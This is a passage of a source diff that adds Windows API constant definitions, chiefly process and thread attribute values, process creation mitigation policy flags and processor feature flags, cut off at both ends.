FLS_OUT_OF_INDEXES 0xffffffff +#define PRIVATE_NAMESPACE_FLAG_DESTROY 0x1 +#define TLS_OUT_OF_INDEXES 0xffffffff +#define PROC_THREAD_ATTRIBUTE_REPLACE_VALUE 0x1 +#define THREAD_POWER_THROTTLING_CURRENT_VERSION 0x1 +#define THREAD_POWER_THROTTLING_EXECUTION_SPEED 0x1 +#define THREAD_POWER_THROTTLING_VALID_FLAGS 0x1 +#define PME_CURRENT_VERSION 0x1 +#define PME_FAILFAST_ON_COMMIT_FAIL_DISABLE 0x0 +#define PME_FAILFAST_ON_COMMIT_FAIL_ENABLE 0x1 +#define PROCESS_POWER_THROTTLING_CURRENT_VERSION 0x1 +#define PROCESS_POWER_THROTTLING_EXECUTION_SPEED 0x1 +#define PROCESS_POWER_THROTTLING_IGNORE_TIMER_RESOLUTION 0x4 +#define PROCESS_LEAP_SECOND_INFO_FLAG_ENABLE_SIXTY_SECOND 0x1 +#define PROCESS_LEAP_SECOND_INFO_VALID_FLAGS 0x1 +#define CREATE_MUTEX_INITIAL_OWNER 0x1 +#define CREATE_WAITABLE_TIMER_MANUAL_RESET 0x1 +#define CREATE_WAITABLE_TIMER_HIGH_RESOLUTION 0x2 +#define SYNCHRONIZATION_BARRIER_FLAGS_SPIN_ONLY 0x1 +#define SYNCHRONIZATION_BARRIER_FLAGS_BLOCK_ONLY 0x2 +#define SYNCHRONIZATION_BARRIER_FLAGS_NO_DELETE 0x4 +#define INFINITE 0xffffffff +#define PROC_THREAD_ATTRIBUTE_NUMBER 0xffff +#define PROC_THREAD_ATTRIBUTE_THREAD 0x10000 +#define PROC_THREAD_ATTRIBUTE_INPUT 0x20000 +#define PROC_THREAD_ATTRIBUTE_ADDITIVE 0x40000 +#define PROCESS_CREATION_MITIGATION_POLICY_DEP_ENABLE 0x1 +#define PROCESS_CREATION_MITIGATION_POLICY_DEP_ATL_THUNK_ENABLE 0x2 +#define PROCESS_CREATION_MITIGATION_POLICY_SEHOP_ENABLE 0x4 +#define PROCESS_CREATION_MITIGATION_POLICY_FORCE_RELOCATE_IMAGES_MASK 0x300 +#define PROCESS_CREATION_MITIGATION_POLICY_FORCE_RELOCATE_IMAGES_DEFER 0x0 +#define PROCESS_CREATION_MITIGATION_POLICY_FORCE_RELOCATE_IMAGES_ALWAYS_ON 0x100 +#define PROCESS_CREATION_MITIGATION_POLICY_FORCE_RELOCATE_IMAGES_ALWAYS_OFF 0x200 +#define PROCESS_CREATION_MITIGATION_POLICY_FORCE_RELOCATE_IMAGES_ALWAYS_ON_REQ_RELOCS 0x300 +#define PROCESS_CREATION_MITIGATION_POLICY_HEAP_TERMINATE_MASK 0x3000 +#define PROCESS_CREATION_MITIGATION_POLICY_HEAP_TERMINATE_DEFER 0x0 +#define PROCESS_CREATION_MITIGATION_POLICY_HEAP_TERMINATE_ALWAYS_ON 0x1000 +#define PROCESS_CREATION_MITIGATION_POLICY_HEAP_TERMINATE_ALWAYS_OFF 0x2000 +#define PROCESS_CREATION_MITIGATION_POLICY_HEAP_TERMINATE_RESERVED 0x3000 +#define PROCESS_CREATION_MITIGATION_POLICY_BOTTOM_UP_ASLR_MASK 0x30000 +#define PROCESS_CREATION_MITIGATION_POLICY_BOTTOM_UP_ASLR_DEFER 0x0 +#define PROCESS_CREATION_MITIGATION_POLICY_BOTTOM_UP_ASLR_ALWAYS_ON 0x10000 +#define PROCESS_CREATION_MITIGATION_POLICY_BOTTOM_UP_ASLR_ALWAYS_OFF 0x20000 +#define PROCESS_CREATION_MITIGATION_POLICY_BOTTOM_UP_ASLR_RESERVED 0x30000 +#define PROCESS_CREATION_MITIGATION_POLICY_HIGH_ENTROPY_ASLR_MASK 0x300000 +#define PROCESS_CREATION_MITIGATION_POLICY_HIGH_ENTROPY_ASLR_DEFER 0x0 +#define PROCESS_CREATION_MITIGATION_POLICY_HIGH_ENTROPY_ASLR_ALWAYS_ON 0x100000 +#define PROCESS_CREATION_MITIGATION_POLICY_HIGH_ENTROPY_ASLR_ALWAYS_OFF 0x200000 +#define PROCESS_CREATION_MITIGATION_POLICY_HIGH_ENTROPY_ASLR_RESERVED 0x300000 +#define PROCESS_CREATION_MITIGATION_POLICY_STRICT_HANDLE_CHECKS_MASK 0x3000000 +#define PROCESS_CREATION_MITIGATION_POLICY_STRICT_HANDLE_CHECKS_DEFER 0x0 +#define PROCESS_CREATION_MITIGATION_POLICY_STRICT_HANDLE_CHECKS_ALWAYS_ON 0x1000000 +#define PROCESS_CREATION_MITIGATION_POLICY_STRICT_HANDLE_CHECKS_ALWAYS_OFF 0x2000000 +#define PROCESS_CREATION_MITIGATION_POLICY_STRICT_HANDLE_CHECKS_RESERVED 0x3000000 +#define PROCESS_CREATION_MITIGATION_POLICY_WIN32K_SYSTEM_CALL_DISABLE_MASK 0x30000000 +#define PROCESS_CREATION_MITIGATION_POLICY_WIN32K_SYSTEM_CALL_DISABLE_DEFER 0x0 +#define PROCESS_CREATION_MITIGATION_POLICY_WIN32K_SYSTEM_CALL_DISABLE_ALWAYS_ON 0x10000000 +#define PROCESS_CREATION_MITIGATION_POLICY_WIN32K_SYSTEM_CALL_DISABLE_ALWAYS_OFF 0x20000000 +#define PROCESS_CREATION_MITIGATION_POLICY_WIN32K_SYSTEM_CALL_DISABLE_RESERVED 0x30000000 +#define PROCESS_CREATION_MITIGATION_POLICY_EXTENSION_POINT_DISABLE_MASK 0x300000000 +#define PROCESS_CREATION_MITIGATION_POLICY_EXTENSION_POINT_DISABLE_DEFER 0x0 +#define PROCESS_CREATION_MITIGATION_POLICY_EXTENSION_POINT_DISABLE_ALWAYS_ON 0x100000000 +#define PROCESS_CREATION_MITIGATION_POLICY_EXTENSION_POINT_DISABLE_ALWAYS_OFF 0x200000000 +#define PROCESS_CREATION_MITIGATION_POLICY_EXTENSION_POINT_DISABLE_RESERVED 0x300000000 +#define PROCESS_CREATION_MITIGATION_POLICY_PROHIBIT_DYNAMIC_CODE_MASK 0x3000000000 +#define PROCESS_CREATION_MITIGATION_POLICY_PROHIBIT_DYNAMIC_CODE_DEFER 0x0 +#define PROCESS_CREATION_MITIGATION_POLICY_PROHIBIT_DYNAMIC_CODE_ALWAYS_ON 0x1000000000 +#define PROCESS_CREATION_MITIGATION_POLICY_PROHIBIT_DYNAMIC_CODE_ALWAYS_OFF 0x2000000000 +#define PROCESS_CREATION_MITIGATION_POLICY_PROHIBIT_DYNAMIC_CODE_ALWAYS_ON_ALLOW_OPT_OUT 0x3000000000 +#define PROCESS_CREATION_MITIGATION_POLICY_CONTROL_FLOW_GUARD_MASK 0x30000000000 +#define PROCESS_CREATION_MITIGATION_POLICY_CONTROL_FLOW_GUARD_DEFER 0x0 +#define PROCESS_CREATION_MITIGATION_POLICY_CONTROL_FLOW_GUARD_ALWAYS_ON 0x10000000000 +#define PROCESS_CREATION_MITIGATION_POLICY_CONTROL_FLOW_GUARD_ALWAYS_OFF 0x20000000000 +#define PROCESS_CREATION_MITIGATION_POLICY_CONTROL_FLOW_GUARD_EXPORT_SUPPRESSION 0x30000000000 +#define PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_MASK 0x300000000000 +#define PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_DEFER 0x0 +#define PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON 0x100000000000 +#define PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_OFF 0x200000000000 +#define PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALLOW_STORE 0x300000000000 +#define PROCESS_CREATION_MITIGATION_POLICY_FONT_DISABLE_MASK 0x3000000000000 +#define PROCESS_CREATION_MITIGATION_POLICY_FONT_DISABLE_DEFER 0x0 +#define PROCESS_CREATION_MITIGATION_POLICY_FONT_DISABLE_ALWAYS_ON 0x1000000000000 +#define PROCESS_CREATION_MITIGATION_POLICY_FONT_DISABLE_ALWAYS_OFF 0x2000000000000 +#define PROCESS_CREATION_MITIGATION_POLICY_AUDIT_NONSYSTEM_FONTS 0x3000000000000 +#define PROCESS_CREATION_MITIGATION_POLICY_IMAGE_LOAD_NO_REMOTE_MASK 0x30000000000000 +#define PROCESS_CREATION_MITIGATION_POLICY_IMAGE_LOAD_NO_REMOTE_DEFER 0x0 +#define PROCESS_CREATION_MITIGATION_POLICY_IMAGE_LOAD_NO_REMOTE_ALWAYS_ON 0x10000000000000 +#define PROCESS_CREATION_MITIGATION_POLICY_IMAGE_LOAD_NO_REMOTE_ALWAYS_OFF 0x20000000000000 +#define PROCESS_CREATION_MITIGATION_POLICY_IMAGE_LOAD_NO_REMOTE_RESERVED 0x30000000000000 +#define PROCESS_CREATION_MITIGATION_POLICY_IMAGE_LOAD_NO_LOW_LABEL_MASK 0x300000000000000 +#define PROCESS_CREATION_MITIGATION_POLICY_IMAGE_LOAD_NO_LOW_LABEL_DEFER 0x0 +#define PROCESS_CREATION_MITIGATION_POLICY_IMAGE_LOAD_NO_LOW_LABEL_ALWAYS_ON 0x100000000000000 +#define PROCESS_CREATION_MITIGATION_POLICY_IMAGE_LOAD_NO_LOW_LABEL_ALWAYS_OFF 0x200000000000000 +#define PROCESS_CREATION_MITIGATION_POLICY_IMAGE_LOAD_NO_LOW_LABEL_RESERVED 0x300000000000000 +#define PROCESS_CREATION_MITIGATION_POLICY_IMAGE_LOAD_PREFER_SYSTEM32_MASK 0x3000000000000000 +#define PROCESS_CREATION_MITIGATION_POLICY_IMAGE_LOAD_PREFER_SYSTEM32_DEFER 0x0 +#define PROCESS_CREATION_MITIGATION_POLICY_IMAGE_LOAD_PREFER_SYSTEM32_ALWAYS_ON 0x1000000000000000 +#define PROCESS_CREATION_MITIGATION_POLICY_IMAGE_LOAD_PREFER_SYSTEM32_ALWAYS_OFF 0x2000000000000000 +#define PROCESS_CREATION_MITIGATION_POLICY_IMAGE_LOAD_PREFER_SYSTEM32_RESERVED 0x3000000000000000 +#define PROCESS_CREATION_MITIGATION_POLICY2_LOADER_INTEGRITY_CONTINUITY_MASK 0x30 +#define PROCESS_CREATION_MITIGATION_POLICY2_LOADER_INTEGRITY_CONTINUITY_DEFER 0x0 +#define PROCESS_CREATION_MITIGATION_POLICY2_LOADER_INTEGRITY_CONTINUITY_ALWAYS_ON 0x10 +#define PROCESS_CREATION_MITIGATION_POLICY2_LOADER_INTEGRITY_CONTINUITY_ALWAYS_OFF 0x20 +#define PROCESS_CREATION_MITIGATION_POLICY2_LOADER_INTEGRITY_CONTINUITY_AUDIT 0x30 +#define PROCESS_CREATION_MITIGATION_POLICY2_STRICT_CONTROL_FLOW_GUARD_MASK 0x300 +#define PROCESS_CREATION_MITIGATION_POLICY2_STRICT_CONTROL_FLOW_GUARD_DEFER 0x0 +#define PROCESS_CREATION_MITIGATION_POLICY2_STRICT_CONTROL_FLOW_GUARD_ALWAYS_ON 0x100 +#define PROCESS_CREATION_MITIGATION_POLICY2_STRICT_CONTROL_FLOW_GUARD_ALWAYS_OFF 0x200 +#define PROCESS_CREATION_MITIGATION_POLICY2_STRICT_CONTROL_FLOW_GUARD_RESERVED 0x300 +#define PROCESS_CREATION_MITIGATION_POLICY2_MODULE_TAMPERING_PROTECTION_MASK 0x3000 +#define PROCESS_CREATION_MITIGATION_POLICY2_MODULE_TAMPERING_PROTECTION_DEFER 0x0 +#define PROCESS_CREATION_MITIGATION_POLICY2_MODULE_TAMPERING_PROTECTION_ALWAYS_ON 0x1000 +#define PROCESS_CREATION_MITIGATION_POLICY2_MODULE_TAMPERING_PROTECTION_ALWAYS_OFF 0x2000 +#define PROCESS_CREATION_MITIGATION_POLICY2_MODULE_TAMPERING_PROTECTION_NOINHERIT 0x3000 +#define PROCESS_CREATION_MITIGATION_POLICY2_RESTRICT_INDIRECT_BRANCH_PREDICTION_MASK 0x30000 +#define PROCESS_CREATION_MITIGATION_POLICY2_RESTRICT_INDIRECT_BRANCH_PREDICTION_DEFER 0x0 +#define PROCESS_CREATION_MITIGATION_POLICY2_RESTRICT_INDIRECT_BRANCH_PREDICTION_ALWAYS_ON 0x10000 +#define PROCESS_CREATION_MITIGATION_POLICY2_RESTRICT_INDIRECT_BRANCH_PREDICTION_ALWAYS_OFF 0x20000 +#define PROCESS_CREATION_MITIGATION_POLICY2_RESTRICT_INDIRECT_BRANCH_PREDICTION_RESERVED 0x30000 +#define PROCESS_CREATION_MITIGATION_POLICY2_ALLOW_DOWNGRADE_DYNAMIC_CODE_POLICY_MASK 0x300000 +#define PROCESS_CREATION_MITIGATION_POLICY2_ALLOW_DOWNGRADE_DYNAMIC_CODE_POLICY_DEFER 0x0 +#define PROCESS_CREATION_MITIGATION_POLICY2_ALLOW_DOWNGRADE_DYNAMIC_CODE_POLICY_ALWAYS_ON 0x100000 +#define PROCESS_CREATION_MITIGATION_POLICY2_ALLOW_DOWNGRADE_DYNAMIC_CODE_POLICY_ALWAYS_OFF 0x200000 +#define PROCESS_CREATION_MITIGATION_POLICY2_ALLOW_DOWNGRADE_DYNAMIC_CODE_POLICY_RESERVED 0x300000 +#define PROCESS_CREATION_MITIGATION_POLICY2_SPECULATIVE_STORE_BYPASS_DISABLE_MASK 0x3000000 +#define PROCESS_CREATION_MITIGATION_POLICY2_SPECULATIVE_STORE_BYPASS_DISABLE_DEFER 0x0 +#define PROCESS_CREATION_MITIGATION_POLICY2_SPECULATIVE_STORE_BYPASS_DISABLE_ALWAYS_ON 0x1000000 +#define PROCESS_CREATION_MITIGATION_POLICY2_SPECULATIVE_STORE_BYPASS_DISABLE_ALWAYS_OFF 0x2000000 +#define PROCESS_CREATION_MITIGATION_POLICY2_SPECULATIVE_STORE_BYPASS_DISABLE_RESERVED 0x3000000 +#define PROCESS_CREATION_MITIGATION_POLICY2_CET_USER_SHADOW_STACKS_MASK 0x30000000 +#define PROCESS_CREATION_MITIGATION_POLICY2_CET_USER_SHADOW_STACKS_DEFER 0x0 +#define PROCESS_CREATION_MITIGATION_POLICY2_CET_USER_SHADOW_STACKS_ALWAYS_ON 0x10000000 +#define PROCESS_CREATION_MITIGATION_POLICY2_CET_USER_SHADOW_STACKS_ALWAYS_OFF 0x20000000 +#define PROCESS_CREATION_MITIGATION_POLICY2_CET_USER_SHADOW_STACKS_STRICT_MODE 0x30000000 +#define PROCESS_CREATION_MITIGATION_POLICY2_USER_CET_SET_CONTEXT_IP_VALIDATION_MASK 0x300000000 +#define PROCESS_CREATION_MITIGATION_POLICY2_USER_CET_SET_CONTEXT_IP_VALIDATION_DEFER 0x0 +#define PROCESS_CREATION_MITIGATION_POLICY2_USER_CET_SET_CONTEXT_IP_VALIDATION_ALWAYS_ON 0x100000000 +#define PROCESS_CREATION_MITIGATION_POLICY2_USER_CET_SET_CONTEXT_IP_VALIDATION_ALWAYS_OFF 0x200000000 +#define PROCESS_CREATION_MITIGATION_POLICY2_USER_CET_SET_CONTEXT_IP_VALIDATION_RELAXED_MODE 0x300000000 +#define PROCESS_CREATION_MITIGATION_POLICY2_BLOCK_NON_CET_BINARIES_MASK 0x3000000000 +#define PROCESS_CREATION_MITIGATION_POLICY2_BLOCK_NON_CET_BINARIES_DEFER 0x0 +#define PROCESS_CREATION_MITIGATION_POLICY2_BLOCK_NON_CET_BINARIES_ALWAYS_ON 0x1000000000 +#define PROCESS_CREATION_MITIGATION_POLICY2_BLOCK_NON_CET_BINARIES_ALWAYS_OFF 0x2000000000 +#define PROCESS_CREATION_MITIGATION_POLICY2_BLOCK_NON_CET_BINARIES_NON_EHCONT 0x3000000000 +#define PROCESS_CREATION_MITIGATION_POLICY2_XTENDED_CONTROL_FLOW_GUARD_MASK 0x30000000000 +#define PROCESS_CREATION_MITIGATION_POLICY2_XTENDED_CONTROL_FLOW_GUARD_DEFER 0x0 +#define PROCESS_CREATION_MITIGATION_POLICY2_XTENDED_CONTROL_FLOW_GUARD_ALWAYS_ON 0x10000000000 +#define PROCESS_CREATION_MITIGATION_POLICY2_XTENDED_CONTROL_FLOW_GUARD_ALWAYS_OFF 0x20000000000 +#define PROCESS_CREATION_MITIGATION_POLICY2_XTENDED_CONTROL_FLOW_GUARD_RESERVED 0x30000000000 +#define PROCESS_CREATION_MITIGATION_POLICY2_POINTER_AUTH_USER_IP_MASK 0x300000000000 +#define PROCESS_CREATION_MITIGATION_POLICY2_POINTER_AUTH_USER_IP_DEFER 0x0 +#define PROCESS_CREATION_MITIGATION_POLICY2_POINTER_AUTH_USER_IP_ALWAYS_ON 0x100000000000 +#define PROCESS_CREATION_MITIGATION_POLICY2_POINTER_AUTH_USER_IP_ALWAYS_OFF 0x200000000000 +#define PROCESS_CREATION_MITIGATION_POLICY2_POINTER_AUTH_USER_IP_RESERVED 0x300000000000 +#define PROCESS_CREATION_MITIGATION_POLICY2_CET_DYNAMIC_APIS_OUT_OF_PROC_ONLY_MASK 0x3000000000000 +#define PROCESS_CREATION_MITIGATION_POLICY2_CET_DYNAMIC_APIS_OUT_OF_PROC_ONLY_DEFER 0x0 +#define PROCESS_CREATION_MITIGATION_POLICY2_CET_DYNAMIC_APIS_OUT_OF_PROC_ONLY_ALWAYS_ON 0x1000000000000 +#define PROCESS_CREATION_MITIGATION_POLICY2_CET_DYNAMIC_APIS_OUT_OF_PROC_ONLY_ALWAYS_OFF 0x2000000000000 +#define PROCESS_CREATION_MITIGATION_POLICY2_CET_DYNAMIC_APIS_OUT_OF_PROC_ONLY_RESERVED 0x3000000000000 +#define PROCESS_CREATION_MITIGATION_POLICY2_RESTRICT_CORE_SHARING_MASK 0x30000000000000 +#define PROCESS_CREATION_MITIGATION_POLICY2_RESTRICT_CORE_SHARING_DEFER 0x0 +#define PROCESS_CREATION_MITIGATION_POLICY2_RESTRICT_CORE_SHARING_ALWAYS_ON 0x10000000000000 +#define PROCESS_CREATION_MITIGATION_POLICY2_RESTRICT_CORE_SHARING_ALWAYS_OFF 0x20000000000000 +#define PROCESS_CREATION_MITIGATION_POLICY2_RESTRICT_CORE_SHARING_RESERVED 0x30000000000000 +#define PROCESS_CREATION_MITIGATION_POLICY2_FSCTL_SYSTEM_CALL_DISABLE_MASK 0x300000000000000 +#define PROCESS_CREATION_MITIGATION_POLICY2_FSCTL_SYSTEM_CALL_DISABLE_DEFER 0x0 +#define PROCESS_CREATION_MITIGATION_POLICY2_FSCTL_SYSTEM_CALL_DISABLE_ALWAYS_ON 0x100000000000000 +#define PROCESS_CREATION_MITIGATION_POLICY2_FSCTL_SYSTEM_CALL_DISABLE_ALWAYS_OFF 0x200000000000000 +#define PROCESS_CREATION_MITIGATION_POLICY2_FSCTL_SYSTEM_CALL_DISABLE_RESERVED 0x300000000000000 +#define PROCESS_CREATION_CHILD_PROCESS_RESTRICTED 0x1 +#define PROCESS_CREATION_CHILD_PROCESS_OVERRIDE 0x2 +#define PROCESS_CREATION_CHILD_PROCESS_RESTRICTED_UNLESS_SECURE 0x4 +#define PROCESS_CREATION_ALL_APPLICATION_PACKAGES_OPT_OUT 0x1 +#define PROCESS_CREATION_DESKTOP_APP_BREAKAWAY_ENABLE_PROCESS_TREE 0x1 +#define PROCESS_CREATION_DESKTOP_APP_BREAKAWAY_DISABLE_PROCESS_TREE 0x2 +#define PROCESS_CREATION_DESKTOP_APP_BREAKAWAY_OVERRIDE 0x4 +#define PROCESS_CREATION_DESKTOP_APP_TRUSTED_LAUNCH_ALLOW_WINDOWS_HOST 0x8 +#define PROCESS_CREATION_MITIGATION_AUDIT_POLICY2_CET_USER_SHADOW_STACKS_MASK 0x30000000 +#define PROCESS_CREATION_MITIGATION_AUDIT_POLICY2_CET_USER_SHADOW_STACKS_DEFER 0x0 +#define PROCESS_CREATION_MITIGATION_AUDIT_POLICY2_CET_USER_SHADOW_STACKS_ALWAYS_ON 0x10000000 +#define PROCESS_CREATION_MITIGATION_AUDIT_POLICY2_CET_USER_SHADOW_STACKS_ALWAYS_OFF 0x20000000 +#define PROCESS_CREATION_MITIGATION_AUDIT_POLICY2_CET_USER_SHADOW_STACKS_RESERVED 0x30000000 +#define PROCESS_CREATION_MITIGATION_AUDIT_POLICY2_USER_CET_SET_CONTEXT_IP_VALIDATION_MASK 0x300000000 +#define PROCESS_CREATION_MITIGATION_AUDIT_POLICY2_USER_CET_SET_CONTEXT_IP_VALIDATION_DEFER 0x0 +#define PROCESS_CREATION_MITIGATION_AUDIT_POLICY2_USER_CET_SET_CONTEXT_IP_VALIDATION_ALWAYS_ON 0x100000000 +#define PROCESS_CREATION_MITIGATION_AUDIT_POLICY2_USER_CET_SET_CONTEXT_IP_VALIDATION_ALWAYS_OFF 0x200000000 +#define PROCESS_CREATION_MITIGATION_AUDIT_POLICY2_USER_CET_SET_CONTEXT_IP_VALIDATION_RESERVED 0x300000000 +#define PROCESS_CREATION_MITIGATION_AUDIT_POLICY2_BLOCK_NON_CET_BINARIES_MASK 0x3000000000 +#define PROCESS_CREATION_MITIGATION_AUDIT_POLICY2_BLOCK_NON_CET_BINARIES_DEFER 0x0 +#define PROCESS_CREATION_MITIGATION_AUDIT_POLICY2_BLOCK_NON_CET_BINARIES_ALWAYS_ON 0x1000000000 +#define PROCESS_CREATION_MITIGATION_AUDIT_POLICY2_BLOCK_NON_CET_BINARIES_ALWAYS_OFF 0x2000000000 +#define PROCESS_CREATION_MITIGATION_AUDIT_POLICY2_BLOCK_NON_CET_BINARIES_RESERVED 0x3000000000 +#define PROCESS_CREATION_MITIGATION_AUDIT_POLICY2_XTENDED_CONTROL_FLOW_GUARD_MASK 0x30000000000 +#define PROCESS_CREATION_MITIGATION_AUDIT_POLICY2_XTENDED_CONTROL_FLOW_GUARD_DEFER 0x0 +#define PROCESS_CREATION_MITIGATION_AUDIT_POLICY2_XTENDED_CONTROL_FLOW_GUARD_ALWAYS_ON 0x10000000000 +#define PROCESS_CREATION_MITIGATION_AUDIT_POLICY2_XTENDED_CONTROL_FLOW_GUARD_ALWAYS_OFF 0x20000000000 +#define PROCESS_CREATION_MITIGATION_AUDIT_POLICY2_XTENDED_CONTROL_FLOW_GUARD_RESERVED 0x30000000000 +#define PROC_THREAD_ATTRIBUTE_PARENT_PROCESS 0x20000 +#define PROC_THREAD_ATTRIBUTE_HANDLE_LIST 0x20002 +#define PROC_THREAD_ATTRIBUTE_GROUP_AFFINITY 0x30003 +#define PROC_THREAD_ATTRIBUTE_PREFERRED_NODE 0x20004 +#define PROC_THREAD_ATTRIBUTE_IDEAL_PROCESSOR 0x30005 +#define PROC_THREAD_ATTRIBUTE_UMS_THREAD 0x30006 +#define PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY 0x20007 +#define PROC_THREAD_ATTRIBUTE_SECURITY_CAPABILITIES 0x20009 +#define PROC_THREAD_ATTRIBUTE_PROTECTION_LEVEL 0x2000b +#define PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE 0x20016 +#define PROC_THREAD_ATTRIBUTE_MACHINE_TYPE 0x20019 +#define PROC_THREAD_ATTRIBUTE_ENABLE_OPTIONAL_XSTATE_FEATURES 0x3001b +#define PROC_THREAD_ATTRIBUTE_WIN32K_FILTER 0x20010 +#define PROC_THREAD_ATTRIBUTE_JOB_LIST 0x2000d +#define PROC_THREAD_ATTRIBUTE_CHILD_PROCESS_POLICY 0x2000e +#define PROC_THREAD_ATTRIBUTE_ALL_APPLICATION_PACKAGES_POLICY 0x2000f +#define PROC_THREAD_ATTRIBUTE_DESKTOP_APP_POLICY 0x20012 +#define PROC_THREAD_ATTRIBUTE_MITIGATION_AUDIT_POLICY 0x20018 +#define PROC_THREAD_ATTRIBUTE_COMPONENT_FILTER 0x2001a +#define ProcThreadAttributeParentProcess 0x0 +#define ProcThreadAttributeHandleList 0x2 +#define ProcThreadAttributeGroupAffinity 0x3 +#define ProcThreadAttributePreferredNode 0x4 +#define ProcThreadAttributeIdealProcessor 0x5 +#define ProcThreadAttributeUmsThread 0x6 +#define ProcThreadAttributeMitigationPolicy 0x7 +#define ProcThreadAttributeSecurityCapabilities 0x9 +#define ProcThreadAttributeProtectionLevel 0xb +#define ProcThreadAttributeJobList 0xd +#define ProcThreadAttributeChildProcessPolicy 0xe +#define ProcThreadAttributeAllApplicationPackagesPolicy 0xf +#define ProcThreadAttributeWin32kFilter 0x10 +#define ProcThreadAttributeSafeOpenPromptOriginClaim 0x11 +#define ProcThreadAttributeDesktopAppPolicy 0x12 +#define ProcThreadAttributePseudoConsole 0x16 +#define ProcThreadAttributeMitigationAuditPolicy 0x18 +#define ProcThreadAttributeMachineType 0x19 +#define ProcThreadAttributeComponentFilter 0x1a +#define ProcThreadAttributeEnableOptionalXStateFeatures 0x1b +#define ProcThreadAttributeTrustedApp 0x1d +#define ProcThreadAttributeSveVectorLength 0x1e +#define POWER_REQUEST_CONTEXT_DETAILED_STRING 0x2 +#define POWER_REQUEST_CONTEXT_SIMPLE_STRING 0x1 +#define GR_GLOBAL 0xfffffffe +#define GR_GDIOBJECTS 0x0 +#define GR_GDIOBJECTS_PEAK 0x2 +#define GR_USEROBJECTS 0x1 +#define GR_USEROBJECTS_PEAK 0x4 +#define PROCESS_NAME_WIN32 0x0 +#define PROCESS_NAME_NATIVE 0x1 +#define PF_FLOATING_POINT_PRECISION_ERRATA 0x0 +#define PF_FLOATING_POINT_EMULATED 0x1 +#define PF_COMPARE_EXCHANGE_DOUBLE 0x2 +#define PF_MMX_INSTRUCTIONS_AVAILABLE 0x3 +#define PF_PPC_MOVEMEM_64BIT_OK 0x4 +#define PF_ALPHA_BYTE_INSTRUCTIONS 0x5 +#define PF_XMMI_INSTRUCTIONS_AVAILABLE 0x6 +#define PF_3DNOW_INSTRUCTIONS_AVAILABLE 0x7 +#define PF_RDTSC_INSTRUCTION_AVAILABLE 0x8 +#define PF_PAE_ENABLED 0x9 +#define PF_XMMI64_INSTRUCTIONS_AVAILABLE 0xa +#define PF_SSE_DAZ_MODE_AVAILABLE 0xb +#define PF_NX_ENABLED 0xc +#define PF_SSE3_INSTRUCTIONS_AVAILABLE 0xd +#define PF_COMPARE_EXCHANGE128 0xe +#define PF_COMPARE64_EXCHANGE128 0xf +#define PF_CHANNELS_ENABLED 0x10 +#define PF_XSAVE_ENABLED 0x11 +#define PF_ARM_VFP_32_REGISTERS_AVAILABLE 0x12 +#define PF_ARM_NEON_INSTRUCTIONS_AVAILABLE 0x13 +#define PF_SECOND_LEVEL_ADDRESS_TRANSLATION 0x14 +#define PF_VIRT_FIRMWARE_ENABLED 0x15 +#define PF_RDWRFSGSBASE_AVAILABLE 0x16 +#define PF_FASTFAIL_AVAILABLE 0x17 +#define PF_ARM_DIVIDE_INSTRUCTION_AVAILABLE 0x18 +#define PF_ARM_64BIT_LOADSTORE_ATOMIC 0x19 +#define PF_ARM_EXTERNAL_CACHE_AVAILABLE 0x1a +#define PF_ARM_FMAC_INSTRUCTIONS_AVAILABLE 0x1b +#define PF_RDRAND_INSTRUCTION_AVAILABLE 0x1c +#define PF_ARM_V8_INSTRUCTIONS_AVAILABLE 0x1d +#define PF_ARM_V8_CRYPTO_INSTRUCTIONS_AVAILABLE 0x1e +#define PF_ARM_V8_CRC32_INSTRUCTIONS_AVAILABLE 0x1f +#define PF_RDTSCP_INSTRUCTION_AVAILABLE 0x20 +#define PF_RDPID_INSTRUCTION_AVAILABLE 0x21 +#define PF_ARM_V81_ATOMIC_INSTRUCTIONS_AVAILABLE 0x22 +#define PF_MONITORX_INSTRUCTION_AVAILABLE 0x23 +#define PF_SSSE3_INSTRUCTIONS_AVAILABLE 0x24 +#define PF_SSE4_1_INSTRUCTIONS_AVAILABLE 0x25 +#define PF_SSE4_2_INSTRUCTIONS_AVAILABLE 0x26 +#define PF_AVX_INSTRUCTIONS_AVAILABLE 0x27 +#define PF_AVX2_INSTRUCTIONS_AVAILABLE 0x28 +#define PF_AVX512F_INSTRUCTIONS_AVAILABLE 0x29 +#define PF_ERMS_AVAILABLE 0x2a +#define PF_ARM_V82_DP_INSTRUCTIONS_AVAILABLE 0x2b +#define PF_ARM_V83_JSCVT_INSTRUCTIONS_AVAILABLE 0x2c +#define PF_ARM_V83_LRCPC_INSTRUCTIONS_AVAILABLE 0x2d +#define PF_ARM_SVE_INSTRUCTIONS_AVAILABLE 0x2e +#define PF_ARM_SVE2_INSTRUCTIONS_AVAILABLE 0x2f +#define PF_ARM_SVE2_1_INSTRUCTIONS_AVAILABLE 0x30 +#define PF_ARM_SVE_AES_INSTRUCTIONS_AVAILABLE 0x31 +#define PF_ARM_SVE_PMULL128_INSTRUCTIONS_AVAILABLE 0x32 +#define PF_ARM_SVE_BITPERM_INSTRUCTIONS_AVAILABLE 0x33 +#define PF_ARM_SVE_BF16_INSTRUCTIONS_AVAILABLE 0x34 +#define PF_ARM_SVE_EBF16_INSTRUCTIONS_AVAILABLE 0x35 +#define PF_ARM_SVE_B16B16_INSTRUCTIONS_AVAILABLE 0x36 +#define PF_ARM_SVE_SHA3_INSTRUCTIONS_AVAILABLE 0x37 +#define PF_ARM_SVE_SM4_INSTRUCTIONS_AVAILABLE 0x38 +#define PF_ARM_SVE_I8MM_INSTRUCTIONS_AVAILABLE 0x39 +#define PF_ARM_SVE_F32MM_INSTRUCTIONS_AVAILABLE 0x3a +#define PF_ARM_SVE_F64MM_INSTRUCTIONS_AVAILABLE 0x3b +#define PF_BMI2_INSTRUCTIONS_AVAILABLE 0x3c +#define PF_MOVDIR64B_INSTRUCTION_AVAILABLE 0x3d +#define PF_ARM_LSE2_AVAILABLE 0x3e +#define PF_RESERVED_FEATURE 0x3f +#define PF_ARM_SHA3_INSTRUCTIONS_AVAILABLE 0x40 +#define PF_ARM_SHA512_INSTRUCTIONS_AVAILABLE 